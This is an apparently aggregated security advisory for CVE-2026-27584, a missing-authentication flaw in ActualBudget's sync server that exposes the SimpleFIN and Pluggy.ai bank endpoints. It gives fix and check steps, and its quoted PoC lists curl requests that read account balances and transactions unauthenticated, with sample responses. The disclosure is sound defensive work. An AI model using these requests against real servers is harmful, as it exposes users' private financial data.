CVE-2026-27584: @actual app/sync server ActualBudget Server Is Missing Authentication Vulnerability
CRITICAL
Advisory Identifier:
GHSA-m2cq-xjgm-f668
CWE-306
Published
Advisory Summary
CVE-2026-27584 is a CRITICAL actualbudget server is missing authentication vulnerability (CWE-306: Missing Authentication for Critical Function) affecting @actual app/sync server libraries in the npm ecosystem. The issue involves actualbudget server is missing authentication for simplefin and pluggy ai bank sync endpoints. Remediation is available by upgrading affected packages to version 26.2.1.
CVE-2026-27584 at a Glance
CVE Identifier
CVE-2026-27584
GHSA Identifier
GHSA-m2cq-xjgm-f668
Severity
CRITICAL
CVSS v3.1 Base Score
N/A
CWE Classification
CWE-306: Missing Authentication for Critical Function
Affected Product
@actual app/sync server
Package Ecosystem
npm
Published Date
Last Updated
How to Fix CVE-2026-27584
To remediate this vulnerability, upgrade all affected @actual app/sync server dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
@actual-app/sync-server
fixed: 26.2.1
npm install @actual-app/sync-server@26.2.1
Verify Direct and Transitive Dependencies
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls @actual-app/sync-serverHow to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2026-27584, inspect your project dependencies using npm:
npm ls @actual-app/sync-serverAnalyze the terminal output to locate any version of @actual app/sync server in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 26.2.1), your application is affected.
Note: The npm ls @actual-app/sync-server command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-306: Missing Authentication for Critical Function, where the product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources. In @actual app/sync server, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
### Summary
Missing authentication middleware in the ActualBudget server component allows any unauthenticated user to query the SimpleFIN and Pluggy.ai integration endpoints and read sensitive bank account balance and transaction information.
### Impact
This vulnerability allows an unauthenticated attacker to read the bank account balance and transaction history of ActualBudget users. This vulnerability impacts all ActualBudget Server users with the SimpleFIN or Pluggy.ai integrations configured. The ActualBudget Server instance must be reachable over the network.
### Details
The ActualBudget server component allows for integration with SimpleFIN and Pluggy.ai services. These services read bank account balances and transaction data from users' banks and return the data to ActualBudget. The affected endpoints facilitate this integration and are intended to be used only by logged in users for the purposes of syncing bank transaction data.
The vulnerable source code is in the following files in the `actualbudget/actual` GitHub repository (https://github.com/actualbudget/actual/):
* `/packages/sync-server/src/app-simplefin/app-simplefin.js`
* `/packages/sync-server/src/app-pluggyai/app-pluggyai.js`
The sensitive endpoints missing authentication are:
* `POST /simplefin/status`
* `POST /simplefin/accounts`
* `POST /simplefin/transactions`
* `POST /pluggyai/status`
* `POST /pluggyai/accounts`
* `POST /pluggyai/transactions`
The following source code is an example of an integration that implements the authentication middleware (`packages/sync-server/src/app-gocardless/app-gocardless.js`):
```js
const app = express();
app.use(requestLoggerMiddleware);
...
app.use(express.json());
app.use(validateSessionMiddleware); // <-- Uses authentication
```
### PoC
The below commands exploit this vulnerability on both the SimpleFIN and Pluggy.ai endpoints. No authentication is required. Network access is required.
SimpleFIN:
```bash
# Check if SimpleFIN is configured
curl -X POST "https://<actualbudgethost>/simplefin/status"
# List SimpleFIN accounts
curl -X POST "https://<actualbudgethost>/simplefin/accounts"
# List SimpleFIN transactions with an account ID from the previous request
curl -X POST "https://<actualbudgethost>/simplefin/transactions" -H "Content-Type: application/json" -d '{"accountId":["ACT-XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX"],"startDate":["2026-02-01"]}'
```
PluggyAI:
```bash
# Check if PluggyAI is configured
curl -X POST "https://<actualbudgethost>/pluggyai/status"
# List Pluggy.ai accounts
curl -X POST "https://<actualbudgethost>/pluggyai/accounts"
# List Pluggy.ai transactions with an account ID from the previous request
curl -X POST "https://<actualbudgethost>/pluggyai/transactions" -H "Content-Type: application/json" -d '{"accountId":["ACT-XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX"],"startDate":["2026-02-01"]}'
```
Example response from `POST /simplefin/accounts`:
```json
{
"status": "ok",
"data": {
"accounts": [
{
"id": "ACT-XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX",
"name": "CHEQUING ACCOUNT",
"currency": "CAD",
"balance": "1234.56",
"available-balance": "0.00",
"balance-date": 1771531758,
"transactions": [],
"holdings": [],
"org": {
"domain": "www.cibc.com",
"name": "CIBC",
"sfin-url": "https://beta-bridge.simplefin.org/simplefin",
"url": "https://www.cibconline.cibc.com",
"id": "www.cibconline.cibc.com"
}
},
...
]
}
}
```
Example response from `POST /simplefin/transactions`:
```json
{
"status": "ok",
"data": {
"ACT-XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX": {
"balances": [
{
"balanceAmount": {
"amount": "1234.56",
"currency": "CAD"
},
"balanceType": "expected",
"referenceDate": "2026-02-19"
},
{
"balanceAmount": {
"amount": "1234.56",
"currency": "CAD"
},
"balanceType": "interimAvailable",
"referenceDate": "2026-02-19"
}
],
"startingBalance": 123456,
"transactions": {
"all": [
{
"booked": true,
"sortOrder": 1771502400,
"date": "2026-02-19",
"payeeName": "E-Transfer",
"notes": "SEND E-TFR ***ABC",
"transactionAmount": {
"amount": "-12.00",
"currency": "USD"
},
"transactionId": "TRN-XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX",
"transactedDate": "2026-02-19",
"postedDate": "2026-02-19"
},
...
],
"pending": []
}
}
}
}
```
CVE-2026-27584 Affected @actual app/sync server Versions
1 component(s)
Fixed Versions:
26.2.1
| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
@actual-app/sync-server
|
npm |
< 26.2.1
|
26.2.1
|
References
GitHub Advisory / Wiki
ADVISORY
https://github.com/actualbudget/actual/security/advisories/GHSA-m2cq-xjgm-f668
NVD — CVE-2026-27584
NVD
https://nvd.nist.gov/vuln/detail/CVE-2026-27584
Security Fix Commit
FIX COMMIT
https://github.com/actualbudget/actual/commit/ea937d100956ca56689ff852d99c28589e2a7d88
@actual app/sync server Source Repository
REPOSITORY
https://github.com/actualbudget/actual
Frequently Asked Questions
What is CVE-2026-27584?
CVE-2026-27584 is a security vulnerability in @actual app/sync server involving ActualBudget server is Missing Authentication for SimpleFIN and Pluggy AI bank sync endpoints under CWE-306: Missing Authentication for Critical Function.
Which @actual app/sync server versions are affected?
Affected versions include releases prior to 26.2.1 across affected packages: @actual-app/sync-server.
What version fixes CVE-2026-27584?
Upgrading to 26.2.1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is @actual-app/sync-server affected?
Yes, @actual-app/sync-server is affected in releases prior to 26.2.1. Upgrade your dependency to 26.2.1 or later.
What CWE is associated with CVE-2026-27584?
CVE-2026-27584 is classified under CWE-306: Missing Authentication for Critical Function (The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.).
How can I check npm dependencies for CVE-2026-27584?
Run the dependency tree command: 'npm ls @actual-app/sync-server'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON
OSV v1.5 Schema
Normalized schema output
{
"schema_version" : "1.4.0",
"id" : "GHSA-m2cq-xjgm-f668",
"modified" : "2026-02-24T20:13:30Z",
"published" : "2026-02-24T20:13:30Z",
"aliases" : [ "CVE-2026-27584" ],
"summary" : "ActualBudget server is Missing Authentication for SimpleFIN and Pluggy AI bank sync endpoints",
"details" : "### Summary\n\nMissing authentication middleware in the ActualBudget server component allows any unauthenticated user to query the SimpleFIN and Pluggy.ai integration endpoints and read sensitive bank account balance and transaction information.\n\n### Impact\n\nThis vulnerability allows an unauthenticated attacker to read the bank account balance and transaction history of ActualBudget users. This vulnerability impacts all ActualBudget Server users with the SimpleFIN or Pluggy.ai integrations configured. The ActualBudget Server instance must be reachable over the network.\n\n### Details\n\nThe ActualBudget server component allows for integration with SimpleFIN and Pluggy.ai services. These services read bank account balances and transaction data from users' banks and return the data to ActualBudget. The affected endpoints facilitate this integration and are intended to be used only by logged in users for the purposes of syncing bank transaction data.\n\nThe vulnerable source code is in the following files in the `actualbudget/actual` GitHub repository (https://github.com/actualbudget/actual/):\n* `/packages/sync-server/src/app-simplefin/app-simplefin.js`\n* `/packages/sync-server/src/app-pluggyai/app-pluggyai.js`\n\nThe sensitive endpoints missing authentication are:\n* `POST /simplefin/status`\n* `POST /simplefin/accounts`\n* `POST /simplefin/transactions`\n* `POST /pluggyai/status`\n* `POST /pluggyai/accounts`\n* `POST /pluggyai/transactions`\n\nThe following source code is an example of an integration that implements the authentication middleware (`packages/sync-server/src/app-gocardless/app-gocardless.js`):\n```js\nconst app = express();\napp.use(requestLoggerMiddleware);\n...\napp.use(express.json());\napp.use(validateSessionMiddleware); // <-- Uses authentication\n```\n\n\n### PoC\n\nThe below commands exploit this vulnerability on both the SimpleFIN and Pluggy.ai endpoints. No authentication is required. Network access is required.\n\nSimpleFIN:\n```bash\n# Check if SimpleFIN is configured\ncurl -X POST \"https://<actualbudgethost>/simplefin/status\"\n\n# List SimpleFIN accounts\ncurl -X POST \"https://<actualbudgethost>/simplefin/accounts\"\n\n# List SimpleFIN transactions with an account ID from the previous request\ncurl -X POST \"https://<actualbudgethost>/simplefin/transactions\" -H \"Content-Type: application/json\" -d '{\"accountId\":[\"ACT-XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX\"],\"startDate\":[\"2026-02-01\"]}'\n```\n\nPluggyAI:\n```bash\n# Check if PluggyAI is configured\ncurl -X POST \"https://<actualbudgethost>/pluggyai/status\"\n\n# List Pluggy.ai accounts\ncurl -X POST \"https://<actualbudgethost>/pluggyai/accounts\"\n\n# List Pluggy.ai transactions with an account ID from the previous request\ncurl -X POST \"https://<actualbudgethost>/pluggyai/transactions\" -H \"Content-Type: application/json\" -d '{\"accountId\":[\"ACT-XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX\"],\"startDate\":[\"2026-02-01\"]}'\n```\n\nExample response from `POST /simplefin/accounts`:\n```json\n{\n \"status\": \"ok\",\n \"data\": {\n \"accounts\": [\n {\n \"id\": \"ACT-XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX\",\n \"name\": \"CHEQUING ACCOUNT\",\n \"currency\": \"CAD\",\n \"balance\": \"1234.56\",\n \"available-balance\": \"0.00\",\n \"balance-date\": 1771531758,\n \"transactions\": [],\n \"holdings\": [],\n \"org\": {\n \"domain\": \"www.cibc.com\",\n \"name\": \"CIBC\",\n \"sfin-url\": \"https://beta-bridge.simplefin.org/simplefin\",\n \"url\": \"https://www.cibconline.cibc.com\",\n \"id\": \"www.cibconline.cibc.com\"\n }\n },\n ...\n ]\n }\n}\n```\n\nExample response from `POST /simplefin/transactions`:\n```json\n{\n \"status\": \"ok\",\n \"data\": {\n \"ACT-XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX\": {\n \"balances\": [\n {\n \"balanceAmount\": {\n \"amount\": \"1234.56\",\n \"currency\": \"CAD\"\n },\n \"balanceType\": \"expected\",\n \"referenceDate\": \"2026-02-19\"\n },\n {\n \"balanceAmount\": {\n \"amount\": \"1234.56\",\n \"currency\": \"CAD\"\n },\n \"balanceType\": \"interimAvailable\",\n \"referenceDate\": \"2026-02-19\"\n }\n ],\n \"startingBalance\": 123456,\n \"transactions\": {\n \"all\": [\n {\n \"booked\": true,\n \"sortOrder\": 1771502400,\n \"date\": \"2026-02-19\",\n \"payeeName\": \"E-Transfer\",\n \"notes\": \"SEND E-TFR ***ABC\",\n \"transactionAmount\": {\n \"amount\": \"-12.00\",\n \"currency\": \"USD\"\n },\n \"transactionId\": \"TRN-XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX\",\n \"transactedDate\": \"2026-02-19\",\n \"postedDate\": \"2026-02-19\"\n },\n ...\n ],\n \"pending\": []\n }\n }\n }\n}\n```",
"severity" : [ {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "@actual-app/sync-server"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "26.2.1"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/actualbudget/actual/security/advisories/GHSA-m2cq-xjgm-f668"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-27584"
}, {
"type" : "WEB",
"url" : "https://github.com/actualbudget/actual/commit/ea937d100956ca56689ff852d99c28589e2a7d88"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/actualbudget/actual"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-306" ],
"severity" : "CRITICAL",
"github_reviewed" : true,
"github_reviewed_at" : "2026-02-24T20:13:30Z",
"nvd_published_at" : "2026-02-24T15:21:39Z"
}
}